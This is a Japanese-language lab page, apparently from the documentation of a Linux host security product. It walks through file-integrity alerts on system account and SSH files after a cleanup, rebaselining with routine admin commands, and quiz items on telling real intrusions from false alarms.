🔍 最重要システムファイルの整合性を検証中... (91 件)
🚨 ファイルの変更・改ざんが検知されました!
[内容の変更] /etc/gshadow
[内容の変更] /home/admin/.ssh/authorized_keys
[内容の変更] /etc/shadow
[内容の変更] /etc/group
[削除] /etc/systemd/system/labapp.service
[内容の変更] /etc/passwd
[内容の変更] /etc/ssh/sshd_config
このうち 7 件は、2026-11-12 01:28 のパッケージの更新で説明できなかったため、基準に取り込んでいない変更です。片付けで戻したファイルと、chrony を外したときのアカウントの削除が並びます。apt のフックが取り込むのは、パッケージが足したシステムアカウントだけで、削除は取り込みません。どれも片付けの変更だと確かめてから、基準を取り直し、サービスを再起動します。
sudo roamswitch fim update
sudo roamswitch fim verify | sed -n 2p
sudo systemctl restart roamswitch-server
systemctl is-active roamswitch-server 📝 現在のシステムファイルからベースラインDBを再作成中...
✓ ベースラインDBを正常に更新・署名保存しました。 (90 件記録)
✓ SUID / SGID ファイルの基準を更新しました。 (20 件記録)
✓ 改ざんは検知されませんでした。すべて正常です。 (90 ファイルを監視中)
activeemergency-restore のあとは、案内のとおり、サービスを再起動して保護のプロファイルを戻します。Falco も外すときは、sudo apt-get remove falco を使います。
#見えない部分
使い捨ての Ubuntu 24.04 の VM で、運用者の作業3件とダミーの攻撃を起こし、7件の通知を、日本語と英語の両方で読みました。どちらも、パッケージの操作が動いていない状態で起こしました。
- 振り分けは、人が決めます。自動一次判定は、ルールの一般的な傾向か、ファイルの種類で決まります。この1件が誰の操作かは見ていません
- Falco がないと、eBPF ガードの2件は出ません。memfd の実行の封じ込めも、Falco の検知から始まります
- 隔離は、
labapp.serviceから出る通信に掛かりました(nftables の規則で確認)。運用者の SSH(保守用のポート 22)は通りました - パケットの記録は、tshark がないと取られません。この VM では、プロセスの状態だけが残りました
- 攻撃者が実行の記録を消した場合は、この講座では扱っていません。記録の改ざんの確かめ方は 証拠・通知・運用 の
events verifyにあります
通知「一時ディレクトリ・削除済み・memfd からの実行 (EXR-002)」の親プロセスは bash ← sshd ← sshd ← sshd ← systemd でした。誤報と決める前に、何を確かめますか
解説を見る
親が sshd でも、そのセッションが攻撃者のものなら本物です。
journalctl -u sshの Accepted の行で鍵の指紋を見て、作業した人の鍵と比べます。EXR-002 を止めると、memfd からの実行の通知も消えます。
root の authorized_keys の改ざんを調べている途中で、同僚が apt でパッケージを入れました。直後の fim verify について、言えることはどれですか
解説を見る
apt のフックが基準に取り込むのは、その更新のパッケージが持ち主で、中身がパッケージの記録と一致する変更だけです。演習では、apt の出力に「説明できない変更が 2 件」と出て、
fim verifyにも残りました。改ざんまで基準に入れてしまうのは、fim updateです。
#次に学ぶこと
- 隔離が働いたあとの1時間の進め方は、封じ込めが働いたあとの最初の1時間 にあります
- 誤報と分かったものを、理由と期限つきで許可する方法は、誤検知を減らす設定 で扱います
- 実行の記録の検知ルールの全体は、不審な実行とマルウェア にあります
対応する攻撃手法 (ATT&CK): T1098.004 T1548.003 T1059.004 T1027 T1105 T1553.001
2026-11-12に確認しました。対象は Linux 1.17.39 です。使い捨ての Ubuntu 24.04 の VM(公開版 1.17.39)に Falco を入れ、準備から片付けまでを、日本語と英語で別の新しい VM で実行しました。パッケージの操作が動いていない状態で起こしました。
コマンドの出力は、製品の版や環境によって変わります。違いが出たら、まず製品の版を確かめてください。